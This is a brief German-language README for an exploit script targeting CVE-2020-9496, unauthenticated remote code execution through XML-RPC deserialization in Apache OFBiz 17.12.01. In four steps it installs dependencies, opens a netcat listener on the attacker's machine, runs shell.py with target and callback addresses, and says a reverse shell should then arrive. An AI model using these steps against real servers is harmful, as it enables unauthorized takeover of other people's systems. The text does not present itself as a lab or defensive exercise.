CVE-2020-9496

ApacheOfBiz 17.12.01 - Nicht autorisierte Remote-Codeausführung

XML-RPC-Anfragen sind anfällig für unsichere Deserialisierung.

Schritte

Schritt 1:

pip3 install -r requeriments.txt

Schritt 2:

nc -nlvp <port> # Angreifercomputer

Schritt 3:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

Schritt 4:

Du solltest eine Shell in deinem nc-Listener haben